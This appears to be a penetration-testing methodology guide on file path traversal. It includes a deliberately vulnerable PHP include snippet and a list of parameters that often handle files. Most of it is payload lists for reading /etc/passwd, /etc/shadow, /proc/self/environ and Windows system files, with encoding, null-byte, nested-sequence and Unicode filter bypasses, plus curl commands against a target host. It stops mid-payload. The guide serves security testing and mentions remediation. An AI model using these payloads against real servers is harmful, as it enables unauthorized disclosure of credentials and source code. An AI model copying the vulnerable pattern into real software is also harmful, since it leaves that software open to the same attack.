File Path Traversal

# File Path Traversal Testing

Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

Prerequisites

Required Tools

- Web browser with developer tools

- Burp Suite or OWASP ZAP

- cURL for testing payloads

- Wordlists for automation

- ffuf or wfuzz for fuzzing

Required Knowledge

- HTTP request/response structure

- Linux and Windows filesystem layout

- Web application architecture

- Basic understanding of file APIs

Outputs and Deliverables

1. **Vulnerability Report** - Identified traversal points and severity

2. **Exploitation Proof** - Extracted file contents

3. **Impact Assessment** - Accessible files and data exposure

4. **Remediation Guidance** - Secure coding recommendations

Core Workflow

Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Attack principle:

- `../` sequence moves up one directory

- Chain multiple sequences to reach root

- Access files outside intended directory

Impact:

- **Confidentiality** - Read sensitive files

- **Integrity** - Write/modify files (in some cases)

- **Availability** - Delete files (in some cases)

- **Code Execution** - If combined with file upload or log poisoning

Phase 2: Identifying Traversal Points

Map application for potential file operations:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Common vulnerable functionality:

- Image loading: `/image?filename=23.jpg`

- Template selection: `?template=blue.php`

- File downloads: `/download?file=report.pdf`

- Document viewers: `/view?doc=manual.pdf`

- Include mechanisms: `?page=about`

Phase 3: Basic Exploitation Techniques

#### Simple Path Traversal

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

#### Absolute Path Injection

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Phase 4: Bypass Techniques

#### Bypass Stripped Traversal Sequences

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

#### Bypass Extension Validation

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

#### Bypass Base Directory Validation

# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd

#### Bypass Blacklist Filters

# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/p